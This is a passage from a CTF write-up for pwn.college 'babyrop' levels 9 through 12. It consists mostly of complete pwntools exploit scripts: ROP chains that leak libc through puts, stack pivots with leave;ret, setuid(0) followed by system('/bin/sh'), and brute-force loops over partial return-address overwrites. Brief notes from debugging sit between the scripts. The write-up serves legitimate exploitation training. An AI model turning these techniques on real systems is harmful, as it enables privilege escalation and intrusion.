rop2.system(binsh) log.info("Dump ropchain: " + rop2.dump()) payload = p64(poprbp_ret) payload += p64(start_input + 16) payload += p64(leave_ret) payload += rop2.chain() r.send(payload) r.interactive() ``` ## Level 9.1 ```python= from pwn import * import sys context.log_level = 'debug' context.binary = exe = ELF('/challenge/babyrop_level9.1', checksec=False) libc = exe.libc if len(sys.argv) == 2: r = process(exe.path) gdb.attach(r, gdbscript=""" b *main b *challenge+281 b *challenge+481 """) else: r = process(exe.path) rop1 = ROP(exe) puts_got = exe.got['puts'] _start = exe.sym['_start'] leave_ret = 0x000000000040205e poprbp_ret = 0x00000000004011bd start_input = 0x415080 rop1.puts(puts_got) rop1.raw(p64(_start)) log.info("Dump ropchain: " + rop1.dump()) payload_pivot = p64(poprbp_ret) payload_pivot += p64(start_input + 16) payload_pivot += p64(leave_ret) payload_pivot += rop1.chain() log.info("The address of _start: " + hex(_start)) r.send(payload_pivot) r.recvuntil(b'Leaving!\n') #puts_got_addr = int.from_bytes(r.recvn(8), 'little') puts_got_addr = u64(r.recvn(6) + b'\x00\x00') log.info("The address of puts_got: " + hex(puts_got_addr)) libc.address = puts_got_addr - libc.sym['puts'] binsh = next(libc.search(b'/bin/sh\x00')) log.info("The address of \"/bin/sh\": " + hex(binsh)) rop2 = ROP(libc) rop2.setuid(0) rop2.system(binsh) log.info("Dump ropchain: " + rop2.dump()) payload = p64(poprbp_ret) payload += p64(start_input + 16) payload += p64(leave_ret) payload += rop2.chain() r.send(payload) r.interactive() ``` # Babyrop_level10 ## Level 10.0 ![image](https://hackmd.io/_uploads/H123ucWEC.png) - As you see, the challenge require call win function to get the flag. However, win function has just been dynamically(random) constructed on the stack. - If I only get this address of win function and ret, I will not study more=))). - Thus, I will use the approach to solve this challenge which only use the information about leaking stack. - I download this chall and library into my computer to use pwndbg, it is convenient to do this than gdb=)). ![image](https://hackmd.io/_uploads/rk3g99WEA.png) ![image](https://hackmd.io/_uploads/H1Fzq9ZVR.png) ![image](https://hackmd.io/_uploads/S1wScc-NR.png) ***This is win function.*** ![image](https://hackmd.io/_uploads/S1cTq9ZNA.png) - However, **PIE enable**,hm...... - I can't find the address of gadget to use it. - Notably - ![image](https://hackmd.io/_uploads/rke7AjcZ4C.png) - This is the image before I start the program. - ![image](https://hackmd.io/_uploads/rJI3o9b40.png) - - This is the image after I start the program. - As you see, PIE is not random all byte. - Therefore, I can overwrite the least significant(with 0x2f) byte to use gadget - ![image](https://hackmd.io/_uploads/r1Kt39Z40.png) - It will control rsp as the previous challenge I solved. ```python= from pwn import * import sys context.log_level = 'debug' context.binary = exe = ELF('/challenge/babyrop_level10.0', checksec=False) libc = exe.libc if len(sys.argv) == 2: r = process(exe.path) gdb.attach(r, gdbscript=""" b *main b *challenge+568 b *challenge+726 """) else: r = process(exe.path) def info(x): return log.info(x) r.recvuntil(b'[LEAK] Your input buffer is located at: ') leak_input = int(r.recvn(14), 16) address_win = leak_input - 8 overwriterbp = address_win - 8 info("The address of input start at: " + hex(leak_input)) info("The address on the stack store win function: " + hex(address_win)) #offset: 64 to retaddr payload = b'a'*56 payload += p64(overwriterbp) payload += 0x2f.to_bytes(1, 'big') r.send(payload) r.interactive() ``` ## Level 10.1 ```python= from pwn import * import sys context.log_level = 'debug' context.binary = exe = ELF('/challenge/babyrop_level10.1', checksec=False) libc = exe.libc if len(sys.argv) == 2: r = process(exe.path) gdb.attach(r, gdbscript=""" b *main b *challenge+214 b *challenge+235 """) else: r = process(exe.path) def info(x): return log.info(x) r.recvuntil(b'[LEAK] Your input buffer is located at: ') leak_input = int(r.recvn(14), 16) address_win = leak_input - 8 overwriterbp = address_win - 8 info("The address of input start at: " + hex(leak_input)) info("The address on the stack store win function: " + hex(address_win)) #offset: 96 to retaddr payload = b'a'*88 payload += p64(overwriterbp) payload += 0x24.to_bytes(1, 'big') r.send(payload) r.interactive() ``` # Babyrop_level11 ## Level 11.0 ![image](https://hackmd.io/_uploads/HJCTMymVA.png) - Hmmm, I use the technique stack pivot in this challenge. In this challenge, I will do it similar to the previous challenge; however, the ***PIE will not change in 1.5 bytes =))) (i debug to see this)***. Therefore, I need to do this several times to get the flag.  ![image](https://hackmd.io/_uploads/rJvn7kXN0.png) ![image](https://hackmd.io/_uploads/S1LgEJm4R.png) ```python= from pwn import * import sys context.log_level = 'debug' context.binary = exe = ELF('/challenge/babyrop_level11.0', checksec=False) libc = exe.libc def info(x): return log.info(x) while True: try: r = process(exe.path) r.recvuntil(b'[LEAK] Your input buffer is located at: ') leak_input = int(r.recvn(14), 16) address_win = leak_input - 8 overwriterbp = address_win - 8 info("The address of input start at: " + hex(leak_input)) info("The address on the stack store win function: " + hex(address_win)) #offset: 80 to retaddr payload = b'a'*72 payload += p64(overwriterbp) payload += 0x67af.to_bytes(2, 'little') r.send(payload) res = r.recvall() if b'pwn.college{' in res: print(res) r.close() exit(1) except Exception as e: r.close() ``` ## Level 11.1 ```python= from pwn import * import sys context.log_level = 'debug' context.binary = exe = ELF('/challenge/babyrop_level11.1', checksec=False) libc = exe.libc def info(x): return log.info(x) while True: try: r = process(exe.path) r.recvuntil(b'[LEAK] Your input buffer is located at: ') leak_input = int(r.recvn(14), 16) address_win = leak_input - 8 overwriterbp = address_win - 8 info("The address of input start at: " + hex(leak_input)) info("The address on the stack store win function: " + hex(address_win)) #offset: 80 to retaddr payload = b'a'*104 payload += p64(overwriterbp) payload += 0x5de5.to_bytes(2, 'little') r.send(payload) res = r.recvall() if b'pwn.college{' in res: print(res) r.close() exit(1) except Exception as e: r.close() ``` # Babyrop_level12 ## Level 12.0 ![image](https://hackmd.io/_uploads/HJg2GXuEA.png) **In this challenge, I also download this challenge and the libc of this challenge. I spent many times to think to solve this challenge without brute-force =)))).** First, we need to know challenge work. - This challenge doesn't have challenge() function, and it does anything in main() function before return to ***_libc_start_call_main+128*** it also means I can't use `leave ; ret` gadget in the challenge - ![image](https://hackmd.io/_uploads/HkgRm7uE0.png) - ![image](https://hackmd.io/_uploads/Bkrl4muVA.png) Yepp, I also need to find gadget "leave ; ret" to use technique stack pivot. Because the program return to libc, so I need to find it in libc. ![image](https://hackmd.io/_uploads/BJ3DV7uVR.png) - ![image](https://hackmd.io/_uploads/rkLqV7dVC.png) - ![image](https://hackmd.io/_uploads/HyJjVQ_NA.png) - ![image](https://hackmd.io/_uploads/SyunVQ_4A.png) As you see, I need to brute-force more nibble than in the previous challenge. Thus, I see it is not legitable to do this method, I find other ways to resolve challenge. Until I'm stuck and panic because of spending many times. Finnaly, I brute-force and wait to get the flag. Because the libc in the sever of pwncollege is not the same as my local. So, I will find the offset of gadget in sever. ![image](https://hackmd.io/_uploads/H15H3XdER.png) ![image](https://hackmd.io/_uploads/B15LR7uVC.png) ```python= from pwn import * import sys context.log_level = 'debug' context.binary = exe = ELF('/challenge/babyrop_level12.0', checksec=False) libc = exe.libc def info(x): return log.info(x) while True: try: r = process(exe.path) r.recvuntil(b'[LEAK] Your input buffer is located at: ') leak_input = int(r.recvn(14), 16) address_win = leak_input - 8 overwriterbp = address_win - 8 info("The address of input start at: " + hex(leak_input)) info("The address on the stack store win function: " + hex(address_win)) #offset: 80 to retaddr payload = b'a'*72 payload += p64(overwriterbp) payload += 0x1578c8.to_bytes(3, 'little') r.send(payload) res = r.recvall() if b'pwn.college{' in res: print(res) r.close() exit(1) except Exception as e: r.close() ``` ## Level 12.1 ```python= from pwn import * import sys context.log_level = 'debug' context.binary = exe = ELF('/challenge/babyrop_level12.1', checksec=False) libc = exe.libc def info(x): return log.info(x) while True: try: r = process(exe.path) r.recvuntil(b'[LEAK] Your input buffer is located at: ') leak_input = int(r.recvn(14), 16) address_win = leak_input - 8 overwriterbp = address_win - 8 info("The address of input start at: " + hex(leak_input)) info("The address on the stack store win function: " + hex(address_win)) #offset: 96 to retaddr payload = b'a'*88 payload += p64(overwriterbp) payload += 0x1578c8.to_bytes(3, 'little') r.send(payload) res = r.recvall() if b'pwn.college{' in res: print(res) r.close() exit(1) except Exception as e: r.close() ```